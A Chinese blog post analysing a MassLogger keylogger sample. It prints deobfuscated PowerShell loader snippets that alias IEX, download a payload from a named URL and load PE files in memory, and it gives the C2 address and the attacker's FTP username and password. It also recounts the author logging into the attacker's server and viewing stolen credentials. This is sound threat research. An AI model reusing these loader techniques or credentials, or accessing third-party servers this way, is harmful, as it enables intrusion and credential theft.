MassKeyLogger,一款可能改变钓鱼格局的大杀器

· 2020-09-16 16:14 · 3 阅读

原创 p1ut0 2020-09-16 16:14

Cofense Intelligence目前正在跟踪一种叫做Mass Logger的新键盘记录程序,安全研究人员认为,这可能会极大地影响键盘记录程序市场以及网络钓鱼威胁格局。


0x00 前言


样本的概要分析是10号的时候就写好的,拖延症一直没有把中间有一部分写清楚,今天抽了个时间完善了一下,在这里分享给大家。


由于微信号图片被压缩的原因,感兴趣的朋友可以到我语雀上查看,地址:

https://www.yuque.com/p1ut0/qtmgyx/hg3gzu


这是一个个人公众号,偶尔想起来会在这上面随便叨叨两句,言论、观点仅代表个人。谢谢大家支持。


样本来源于日常app.any.run的样本

样本MD5:71bdecdea1d86dd3e892ca52c534fa13

样本上传名:exe.PDF.bat

样本上传时间,就是今天(2020年9月10日)下午四点十分


可以看到any.run已经将其标记为恶意并且可以从 any.run的沙箱中看到恶意行为是执行了一段powershell指令。


在VT上查了一下样本,惊奇的发现,现在居然只有一家厂商给出了明确的报毒:Downloader.WannaMine





0x01 原始样本

原始样本的确是bat的文件,编辑工具加载后内容如下:


这是一段很简单的bat内嵌powershell代码,通过bat脚本隐藏窗口执行powershell代码,执行的代码为红色部分。



大概阅读一下这段powershell代码就可以知道这里是将前面的@符号替换并进行转换然后通过最后的I`E`X加载执行。



所以直接把最后面的I`E`X  更改为echo  然后把这一整段powershell代码抽出来保存到一个ps1文件中:


然后powershell窗口执行这个ps1脚本,通过管道输出到新文件中,解码出来的内容如下:



这段代码首先是通过$Tbone='*EX'.replace('*','I')声明了一个名为$Tbone的变量,这个变量实际就是IEX


接着通过sal M $Tbone给变量定义了别名M,可以看到M在程序最后有使用,这是一种免杀操作。


格式化一下代码如下:


代码首先会尝试connection连接google.com保证网络畅通。

当确保网络畅通之后,代码在后面拼接一个对象,用于通过IEX执行一个下载指令,将下载回来的内容存储到变量$mv中,这里的下载链接为: http://topometria.com.cy/A12.jpg


关于topometria,暂时没有相关的威胁情报。


最后,程序将下载回来的数据$mv 以 - 分割,然后作为byte数组加载执行


还好,现在样本能够正常下载回来。


0x02 后续payload分析

下载回来的文件名为A12.jpg,用编辑器打开可以看到是一段以-分割的数据



根据之前的代码操作,可以知道这里会首先将-分割成一个数组,然后转成byte,我们知道最后的数据类型是byte,所以这里直接将- 替换为空格


然后以byte的形式赋值到010中:


这里可以看到,byte解码出来其实是一段脚本代码


通过010转换为文本即可看到源码:


看到这种代码不要怕,观察一下就可以找到关键地方



首先看看脚本最开始的地方,首先是执行了$t0=-Join ((111, 105, 130)

这里的111 105 130 解出来就是IEX


所以最开始是同样的操作,给IEX声明了一个别名g用于后面调用。


然后程序声明了一个超级长的String,根据开头的[String]$nebj='4D5A9>^>^3>^可以知道这里其实是一个PE文件,后面肯定会有操作把这里的 特殊符号替换为00


所以跳转到最下面的代码看看:


这里首先可以看到, 在刚才声明的长字符串最后,果然通过replace将特殊符号替换为了00


然后可以看到程序执行了一个    [Byte[]]$JJAr=PuKkpsGJ $CDbvWcpeO  


这里可以看出来是将$CDbvWcpeO(暂时不知道是什么)  作为参数传递给了PuKkpsGJ 函数,PuKkpsGJ 函数运算之后会得到一个数组赋值给$JJAr


搜索找一下PuKkpsGJ 函数:


顺便找到了CDbvWcpeO的定义,这里可以看到,CDbvWcpeO是第二个PE文件。


PuKkpsGJ的功能也很简单,就是对传入进来的内容进行分割和转码。


关于这里处理后的数据之后再看,先看看后面的代码做了什么。


$y='[System.Ap!%%%%#######@@@@@@@****************ain]'.replace('!%%%%#######@@@@@@@****************','pDom')|g;$g55=$y.GetMethod("get_CurrentDomain")


这类替换之后代码就是:

$y='[System.AppDomain]'|g;

$g55=$y.GetMethod("get_CurrentDomain")


同样的,把下面几行的代码也替换了得到

$uy='$g55.Invoke($null,$null)'| g

$vmc2=$uy.Load($JJAr)

$vmc2| g


这里很明显,就是最后Invoke   load执行$JJAr,而这个$JJAr就是上面通过PuKkpsGJ 处理后的数组。


所以直接写一个ps脚本,把这段数据处理完之后写入到桌面的222.txt文件中即可



最后,程序还会通过

[g8fg0000.gfjhfdgpoerkj]::gihjpdfg('InstallUtil.exe',$nebj2)

解码出第二个PE文件,这里看样子是通过InstallUtil安装,虽然不太看得出来这里是怎么加载起来的,但还是先dump出来后面看看。


计算一下文件hash,分别为:

8A738F0E16C427C9DE68F370B2363230

498EC58566B52AA5875497CADF513547


对应的检出情况如下:



0x03 Mass KeyLogger

498EC58566B52AA5875497CADF513547目前无检出,样本上传之后发现这应该是一个名为Mass KeyLogger的新型键盘监听器



而且国外的厂家形容这是非常危险的新型木马


样本使用dnspy去混淆之后还是有比较好的可读性的,这里就大概看一下。


此外,dump_file2,也就是这个keylogger的资源中有个四个资源文件,后面可能会解密加载这些资源



首先在dnspy中定位到样本的入口点如下:



样本入口点是内部类xW的实例化函数xW()

在xW函数中,主要是调用了aP类的bx方法。


这里过来可以知道bx方法中调用的是pC4类的Fvq方法:



过来给Fvq方法设置一个断点:


在Fvq方法中,程序首先是加载了上面名为LR4Cc2YdSbtlPu3Gpn.gkaT3RqoEIxDLaxtck的资源数据



然后把资源赋值给了array数组,并在下面循环去解密这个资源数据



最后,程序将数据以键值对的方式存放到Dictionary中然后赋值给Jbgkf0diFn,在下面通过反射加载调用。



由于断点已经设置在了Fvq函数这里,直接程序F5过来

成功读取到元数据


成功解密,重新给array赋值:



成功生成字典:


得到要调用的对应的函数,用委托的方式反射加载


如下:


这里会遍历加载所有用到的函数



直接往后走,读取名为b7XmD97o14L13xFEcR.B1Pe7UrZbjaNUkiGSk的资源


解密一个数据放到array4


这里是一个超长的switch case,干扰分析用的


这个类的代码超级长,肯定不能直接走,但是这里我想,既然它读取了资源放到了array4变量中,后面肯定要操作这个变量的,所以直接对所有操作了aray4这个变量的地方设置断点


这里发现程序将array4的长度new了一个新的byte为array6,所以同样的,对array6所以操作点设置断点:



程序这里在动态解密array6



所以最后只保留一个array6的赋值断点即可



成功命中断点:


此时把array6给dump出来,这里应该是程序用到的所有的字符串信息


往下走,这里result返回回来会有一些用到的关键信息,包括要检测的杀软等:


后面的解密配置信息,包括ftp服务器的地址,账号密码等都是通过这里解密出来





在YWc类的sCo方法中获取一些机密信息并格式化,包括用户名,出口IP、国家信息、操作系统版本、位数、SerialKey、CPU、GPU、AV、Screen Resolution、Current Time、Started、Interval、Process、Melt、Exit after delivery、是否是Administrator、所有运行中的进程名和窗口名(应该是用于反调试检测)


获取到的完整信息如下:

{User Name: xxxxx

IP: 127.0.0.1

Country: CN

Windows OS: Microsoft Windows 7 家庭普通版  64bit

Windows Serial Key: YGFVB-xxxxx-xxxxxx-PTWTJ-YRYRV

CPU: Intel(R) Core(TM) i7-8700 CPU @ 3.20GHz

GPU: VMware SVGA 3D

AV: NA

Screen Resolution: 1920x1080

Current Time: 2020/9/16 12:25:50

Started: 2020/9/16 12:17:21

Interval: 96 hour

Process: C:\Users\Shyt\Desktop\xxxxxxx-cleaned.exe

Melt: false

Exit after delivery: false

As Administrator: False

Processes:

Name:dnSpy-x86, Title:dnSpy v6.0.5 (32-bit, 调试中)

Name:吾爱本地破解工具包, Title:Rolan

}


@"C:\Users\Shyt\AppData\Roaming\FileZilla\recentservers.xml"


包括后续还会尝试获取各类邮件服务器的隐私信息


在JA类的KWk方法中尝试获取主流浏览器的隐私信息


将获取到的所有的信息添加到list中并返回


获取计算计算机的HWID


将获取到的信息都通过<|| 和||>拼接


由于这个样本的代码和功能类实在是太多,这里就不一一详细分析了


沙箱分析


直接把样本丢在any.run的沙箱跑一下行为:


看起来并没有反调试之类的东西,而且any.run已经识别出来这是一个massLogger了。


这个样本的C2为:192.185.155.49 : 21


这里的端口是21 应该是FTP服务登录的


解析出来的域名是nankasa.com.ar


其中api.ipify.org用于获取用户的出口IP




USER service@nankasa.com.ar


PASS Aloraboy21!@#



第二个数据包中就是上传的一些基本信息:


将数据包下载回来看一下,发现的确是FTP的方式进行通信的:



然后使用这个用户密码成功登录了攻击者的FTP服务器,这里的命名方式应该是

用户名_地区_HWID_版本


这个文件内容就是从用户主机收集上传的信息,包括之前看到的基本信息以及后面收集的浏览器相关的内容。


成功获取一组facebook的账号密码:


这里应该是攻击者用于测试的账号密码


睡觉前又看到有新信息上传了 哈哈,但是新文件还是没有数据,应该还是测试或是其他分析人员传的。


但是第二天登录的时候,发现密码已经修改了,应该攻击者知道有人异地登录了服务器,于是舍弃了该木马。






0x04 小结

看来国外的大佬说此样本可能会取代AgentTesla的身份是有道理的,目前来看,该款木马功能比AgentTesla完善,代码结构更复杂,干扰分析的代码也很多,并且最直接的是,AgentTesla主要是通过多吃解密资源的方式加载,而MassKeLogger使用了多次非PE加载的方式,在这方面的技术已经比较成熟,这样做最直接的好处就是应该会有更好的免杀性。


最后,感谢大家看到这里。笔者个人的从业方向是恶意代码分析、APT、威胁情报。感兴趣的小伙伴可添加微信进行交流~ 感谢大家支持~


-yousaysayyou-





阅读原文

跳转微信打开